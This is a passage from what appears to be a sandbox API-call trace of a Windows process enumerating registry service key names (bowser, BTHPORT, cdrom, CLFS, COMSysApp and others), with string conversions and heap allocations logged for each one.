lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0225.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0225.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0225.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0225.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0225.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0225.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1bf8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0225.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1bf8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0225.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0225.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.006] WideCharToMultiByte (in: 